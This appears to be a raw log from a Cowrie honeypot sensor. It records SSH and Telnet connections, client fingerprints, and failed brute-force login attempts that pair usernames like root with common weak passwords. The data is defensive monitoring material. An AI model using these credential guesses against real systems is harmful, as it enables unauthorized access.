{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:27.234931Z","src_ip":"152.200.205.179","session":"b95f9afefa04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:27.330071Z","src_ip":"152.200.205.179","session":"b95f9afefa04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lc123456.","message":"login attempt [root/Lc123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:27.740364Z","src_ip":"152.200.205.179","session":"b95f9afefa04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:28.838601Z","src_ip":"152.200.205.179","session":"b95f9afefa04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":35314,"dst_ip":"159.203.135.109","dst_port":23,"session":"55c4ed6cbebf","protocol":"telnet","message":"New connection: 143.198.154.150:35314 (159.203.135.109:23) [session: 55c4ed6cbebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:31.254003Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":51196,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fb4b621b2fb","protocol":"ssh","message":"New connection: 159.65.58.200:51196 (159.203.135.109:22) [session: 9fb4b621b2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:31.507356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:31.693995Z","src_ip":"159.65.58.200","session":"9fb4b621b2fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:31.698603Z","src_ip":"159.65.58.200","session":"9fb4b621b2fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samoylov","password":"123456","message":"login attempt [samoylov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:32.716685Z","src_ip":"159.65.58.200","session":"9fb4b621b2fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":59806,"dst_ip":"10.17.0.5","dst_port":22,"session":"b633e5f02996","protocol":"ssh","message":"New connection: 122.176.122.24:59806 (10.17.0.5:22) [session: b633e5f02996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:33.949239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:33.953290Z","src_ip":"122.176.122.24","session":"b633e5f02996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:34.024780Z","src_ip":"159.65.58.200","session":"9fb4b621b2fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:34.222740Z","src_ip":"122.176.122.24","session":"b633e5f02996","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc...123","message":"login attempt [root/abc...123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:35.332526Z","src_ip":"122.176.122.24","session":"b633e5f02996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":33018,"dst_ip":"159.203.135.109","dst_port":22,"session":"99c574278ebf","protocol":"ssh","message":"New connection: 38.93.206.2:33018 (159.203.135.109:22) [session: 99c574278ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:35.336599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:35.343459Z","src_ip":"38.93.206.2","session":"99c574278ebf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:35.447465Z","src_ip":"38.93.206.2","session":"99c574278ebf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123fgh","message":"login attempt [root/asd123fgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:36.121664Z","src_ip":"38.93.206.2","session":"99c574278ebf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:36.604264Z","src_ip":"122.176.122.24","session":"b633e5f02996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:37.186117Z","src_ip":"38.93.206.2","session":"99c574278ebf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.980886936187744,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:42.234750Z","src_ip":"143.198.154.150","session":"55c4ed6cbebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53142,"dst_ip":"10.17.0.5","dst_port":22,"session":"68742945a721","protocol":"ssh","message":"New connection: 8.210.75.243:53142 (10.17.0.5:22) [session: 68742945a721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:42.658506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:42.666605Z","src_ip":"8.210.75.243","session":"68742945a721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":49896,"dst_ip":"10.17.0.5","dst_port":22,"session":"85fcb85f4581","protocol":"ssh","message":"New connection: 87.106.29.151:49896 (10.17.0.5:22) [session: 85fcb85f4581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:47.417538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:47.422178Z","src_ip":"87.106.29.151","session":"85fcb85f4581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:47.514829Z","src_ip":"87.106.29.151","session":"85fcb85f4581","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"Passw0rd","message":"login attempt [alex/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:47.917922Z","src_ip":"87.106.29.151","session":"85fcb85f4581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:49.012700Z","src_ip":"87.106.29.151","session":"85fcb85f4581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"183.4","message":"Connection lost after 183.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:51.738430Z","src_ip":"8.210.75.243","session":"8e60c389746d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:58.646516Z","src_ip":"8.210.75.243","session":"8b5b28bff4b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49108,"dst_ip":"10.17.0.5","dst_port":22,"session":"e217f3bfc7c3","protocol":"ssh","message":"New connection: 8.210.75.243:49108 (10.17.0.5:22) [session: e217f3bfc7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:03.009536Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":17316,"dst_ip":"10.17.0.5","dst_port":23,"session":"51441082140a","protocol":"telnet","message":"New connection: 34.22.246.86:17316 (10.17.0.5:23) [session: 51441082140a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:04.110178Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":17322,"dst_ip":"10.17.0.5","dst_port":23,"session":"76f144b7f921","protocol":"telnet","message":"New connection: 34.22.246.86:17322 (10.17.0.5:23) [session: 76f144b7f921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:04.293805Z"}
{"eventid":"cowrie.session.closed","duration":0.005091190338134766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:04.298729Z","src_ip":"34.22.246.86","session":"76f144b7f921","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":17332,"dst_ip":"10.17.0.5","dst_port":23,"session":"311cb177ea95","protocol":"telnet","message":"New connection: 34.22.246.86:17332 (10.17.0.5:23) [session: 311cb177ea95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:04.449042Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.27.148.94","src_port":55158,"dst_ip":"10.17.0.5","dst_port":22,"session":"69b305f980f7","protocol":"ssh","message":"New connection: 105.27.148.94:55158 (10.17.0.5:22) [session: 69b305f980f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:09.124570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:09.129989Z","src_ip":"105.27.148.94","session":"69b305f980f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:09.337712Z","src_ip":"105.27.148.94","session":"69b305f980f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111222333","message":"login attempt [root/111222333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:10.203857Z","src_ip":"105.27.148.94","session":"69b305f980f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":43268,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4c3cce19c77","protocol":"ssh","message":"New connection: 69.163.176.54:43268 (10.17.0.5:22) [session: a4c3cce19c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:10.276348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:10.280245Z","src_ip":"69.163.176.54","session":"a4c3cce19c77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:10.350859Z","src_ip":"69.163.176.54","session":"a4c3cce19c77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edgewallet","password":"edge123","message":"login attempt [edgewallet/edge123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:10.564297Z","src_ip":"69.163.176.54","session":"a4c3cce19c77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:11.416583Z","src_ip":"105.27.148.94","session":"69b305f980f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:11.638393Z","src_ip":"69.163.176.54","session":"a4c3cce19c77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.78121852874756,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:20.891252Z","src_ip":"34.22.246.86","session":"51441082140a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":14678,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a0b7be561c2","protocol":"telnet","message":"New connection: 34.22.246.86:14678 (10.17.0.5:23) [session: 2a0b7be561c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:23.607467Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:23.612076Z","src_ip":"34.22.246.86","session":"2a0b7be561c2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:23.615542Z","src_ip":"34.22.246.86","session":"2a0b7be561c2","protocol":"telnet"}
